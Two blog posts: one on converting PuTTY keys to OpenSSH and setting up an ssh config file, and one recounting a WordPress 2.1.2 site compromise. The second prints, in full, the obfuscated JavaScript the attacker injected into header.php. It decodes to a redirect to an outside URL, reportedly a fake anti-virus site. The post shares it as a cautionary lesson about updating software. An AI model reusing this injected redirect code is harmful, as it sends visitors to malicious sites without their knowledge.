Category: Articles

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Windows Putty to Linux OpenSSH

One of the hurdles I needed to tackle in my move to Linux was making my ssh keys work. It took a little digging but eventually I figured out the process.

Download puttygen.exe for windows. Open up your ssh keys with puttygen and choose export. Export them as OpenSSH keys.

Copy these keys over to linux and put them in ~/.ssh

Create the text file ~/.ssh/config

Put the following block for each key.


Host shortname
HostName myserver.com
User username
IdentityFile ~/.ssh/myserver.key

Host holds an alias for your ssh config. Now to connect to a particular server just envoke ssh shortname

Pretty simple.

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Hacked – Update your Old Software

A few days ago my website OneDittyADay.com was hacked. I’m not 100% sure what went down but from what I gather about a week ago he exploited a bug using a script probably similar to this one exploiting WordPress 2.1.2. This bug allows access to the md5 hashes of every user. A few days later after cracking WordPress’ default random password of six lowercase letters and digits he made a very simple edit via the theme-editor to header.php.

In it he included this snippet of code:

<SCRIPT LANGUAGE="JavaScript">

<!--

function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!62!32!119!105!110!100!111!119!46!108!111!99!97!116!105!111!110!61!34!104!116!116!112!58!47!47!120!114!108!46!117!115!47!107!107!51!119!54!34!32!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}

//-->

</SCRIPT><SCRIPT LANGUAGE="JavaScript">

<!--

Decode();

//-->

</SCRIPT>

I haven’t decrypted it to display it’s contents but I know it’s just a simple javascript redirect to a rather nasty windows “anti-virus” site. I put that in quotes because it is anything but. This webpage even caught Firefox in Ubuntu for a loop and took a bit to shut down.

As soon as I found out all of this I reset the password and then upgraded WordPress to the very latest version. One thing went wrong with the upgrade. The categories for some reason didn’t copy over correctly. Since I only have a handful of categories I manually updated them but it did take me a few to figure out why my website didn’t print any articles.

It’s kind of embarrassing, but I thought I’d share. Moral of the story: even on your dead sites, upgrade or go static.